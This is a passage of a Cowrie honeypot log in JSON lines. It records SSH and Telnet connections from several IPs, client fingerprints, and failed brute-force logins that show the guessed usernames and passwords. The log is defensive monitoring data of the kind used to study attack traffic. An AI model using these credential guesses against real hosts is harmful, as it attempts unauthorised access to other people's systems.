2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:15:40.611943Z","src_ip":"43.130.16.4","session":"483b5568d9be","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"261979","message":"login attempt [root/261979] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:15:40.915675Z","src_ip":"43.130.16.4","session":"483b5568d9be","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:15:41.988416Z","src_ip":"43.130.16.4","session":"483b5568d9be","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":47.23020005226135,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:15:45.677075Z","src_ip":"192.119.13.58","session":"ae61181a7708","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"205.210.31.43","src_port":60660,"dst_ip":"159.203.135.109","dst_port":22,"session":"2239ae7621e4","protocol":"ssh","message":"New connection: 205.210.31.43:60660 (159.203.135.109:22) [session: 2239ae7621e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:15:51.584781Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-ZGrab ZGrab SSH Survey","message":"Remote SSH version: SSH-2.0-ZGrab ZGrab SSH Survey","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:15:52.537613Z","src_ip":"205.210.31.43","session":"2239ae7621e4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"dd9bcf093c355da7000132131cb36fd0","hasshAlgorithms":"diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,arcfour256,arcfour128,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,aes192-cbc,aes256-cbc,arcfour,rijndael-cbc@lysator.liu.se;hmac-md5-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-ripemd160-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,hmac-md5,hmac-sha1,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-ripemd160,hmac-ripemd160@openssh.com,hmac-sha1-96,hmac-md5-96;none,zlib@openssh.com,zlib","kexAlgs":["diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ssh-rsa-cert-v00@openssh.com","ssh-dss-cert-v00@openssh.com","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","arcfour256","arcfour128","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-cbc","3des-cbc","blowfish-cbc","cast128-cbc","aes192-cbc","aes256-cbc","arcfour","rijndael-cbc@lysator.liu.se"],"macCS":["hmac-md5-etm@openssh.com","hmac-sha1-etm@openssh.com","umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-ripemd160-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-96-etm@openssh.com","hmac-md5","hmac-sha1","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-ripemd160","hmac-ripemd160@openssh.com","hmac-sha1-96","hmac-md5-96"],"compCS":["none","zlib@openssh.com","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: dd9bcf093c355da7000132131cb36fd0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:15:53.375326Z","src_ip":"205.210.31.43","session":"2239ae7621e4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.4531614780426,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:16:00.531869Z","src_ip":"192.119.13.58","session":"a20a9beabf59","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"9.7","message":"Connection lost after 9.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:16:01.285395Z","src_ip":"205.210.31.43","session":"2239ae7621e4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.102898597717285,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:16:01.540461Z","src_ip":"192.119.13.58","session":"a588fcb12c46","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.159.98.239","src_port":55864,"dst_ip":"159.203.135.109","dst_port":22,"session":"712be35d194b","protocol":"ssh","message":"New connection: 94.159.98.239:55864 (159.203.135.109:22) [session: 712be35d194b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:16:03.737443Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:16:03.972354Z","src_ip":"94.159.98.239","session":"712be35d194b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:16:03.976541Z","src_ip":"94.159.98.239","session":"712be35d194b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rfhfufylf","message":"login attempt [root/rfhfufylf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:16:05.421600Z","src_ip":"94.159.98.239","session":"712be35d194b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:16:06.657846Z","src_ip":"94.159.98.239","session":"712be35d194b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":53714,"dst_ip":"10.17.0.5","dst_port":23,"session":"30a03f908263","protocol":"telnet","message":"New connection: 192.119.13.58:53714 (10.17.0.5:23) [session: 30a03f908263]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:16:11.321539Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":42414,"dst_ip":"10.17.0.5","dst_port":23,"session":"cf555c49ca9b","protocol":"telnet","message":"New connection: 192.119.13.58:42414 (10.17.0.5:23) [session: cf555c49ca9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:16:15.626294Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":58590,"dst_ip":"10.17.0.5","dst_port":23,"session":"d64f18e74377","protocol":"telnet","message":"New connection: 192.119.13.58:58590 (10.17.0.5:23) [session: d64f18e74377]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:16:19.947522Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.39.191","src_port":49546,"dst_ip":"159.203.135.109","dst_port":22,"session":"d37b0a5e6ace","protocol":"ssh","message":"New connection: 43.153.39.191:49546 (159.203.135.109:22) [session: d37b0a5e6ace]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:16:25.573438Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:16:25.578198Z","src_ip":"43.153.39.191","session":"d37b0a5e6ace","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:16:25.646438Z","src_ip":"43.153.39.191","session":"d37b0a5e6ace","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qwer123456","message":"login attempt [root/Qwer123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:16:25.951375Z","src_ip":"43.153.39.191","session":"d37b0a5e6ace","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:16:27.022102Z","src_ip":"43.153.39.191","session":"d37b0a5e6ace","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.173.89.56","src_port":37684,"dst_ip":"159.203.135.109","dst_port":22,"session":"d01c7ee9258b","protocol":"ssh","message":"New connection: 43.173.89.56:37684 (159.203.135.109:22) [session: d01c7ee9258b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:16:28.760082Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:16:28.764131Z","src_ip":"43.173.89.56","session":"d01c7ee9258b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:16:28.831855Z","src_ip":"43.173.89.56","session":"d01c7ee9258b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"marino","message":"login attempt [root/marino] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:16:29.134479Z","src_ip":"43.173.89.56","session":"d01c7ee9258b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:16:30.205927Z","src_ip":"43.173.89.56","session":"d01c7ee9258b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":46274,"dst_ip":"10.17.0.5","dst_port":23,"session":"3f56e177ae9e","protocol":"telnet","message":"New connection: 192.119.13.58:46274 (10.17.0.5:23) [session: 3f56e177ae9e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:16:32.341947Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.56","src_port":40209,"dst_ip":"159.203.135.109","dst_port":22,"session":"c8a6bbcf2923","protocol":"ssh","message":"New connection: 213.209.159.56:40209 (159.203.135.109:22) [session: c8a6bbcf2923]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:16:41.447083Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:16:41.451257Z","src_ip":"213.209.159.56","session":"c8a6bbcf2923","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:16:41.533565Z","src_ip":"213.209.159.56","session":"c8a6bbcf2923","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"travion","password":"travion","message":"login attempt [travion/travion] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:16:41.941868Z","src_ip":"213.209.159.56","session":"c8a6bbcf2923","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"travion","password":"travion1","message":"login attempt [travion/travion1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:16:43.027400Z","src_ip":"213.209.159.56","session":"c8a6bbcf2923","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"travion","password":"travion123","message":"login attempt [travion/travion123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:16:44.114334Z","src_ip":"213.209.159.56","session":"c8a6bbcf2923","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"travion","password":"travion1234","message":"login attempt [travion/travion1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:16:45.202068Z","src_ip":"213.209.159.56","session":"c8a6bbcf2923","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"travion","password":"travion12345","message":"login attempt [travion/travion12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:16:46.289598Z","src_ip":"213.209.159.56","session":"c8a6bbcf2923","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:16:47.376239Z","src_ip":"213.209.159.56","session":"c8a6bbcf2923","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.150.26","src_port":51942,"dst_ip":"159.203.135.109","dst_port":22,"session":"92ae043b747a","protocol":"ssh","message":"New connection: 152.32.150.26:51942 (159.203.135.109:22) [session: 92ae043b747a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:16:49.018025Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:16:49.022923Z","src_ip":"152.32.150.26","session":"92ae043b747a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.747570514678955,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:16:49.069011Z","src_ip":"192.119.13.58","session":"30a03f908263","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.130.16.4","src_port":52474,"dst_ip":"159.203.135.109","dst_port":22,"session":"55494e7fc2d9","protocol":"ssh","message":"New connection: 43.130.16.4:52474 (159.203.135.109:22) [session: 55494e7fc2d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:16:50.489957Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:16:50.495285Z","src_ip":"43.130.16.4","session":"55494e7fc2d9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:16:50.564728Z","src_ip":"43.130.16.4","session":"55494e7fc2d9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"tom","message":"login attempt [root/tom] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:16:50.875007Z","src_ip":"43.130.16.4","session":"55494e7fc2d9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.50989055633545,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:16:51.136085Z","src_ip":"192.119.13.58","session":"cf555c49ca9b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:16:51.947653Z","src_ip":"43.130.16.4","session":"55494e7fc2d9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:16:57.026662Z","src_ip":"152.32.150.26","session":"92ae043b747a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.0","message":"Connection lost after 8.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:16:57.033009Z","src_ip":"152.32.150.26","session":"92ae043b747a","protocol":"ssh"}
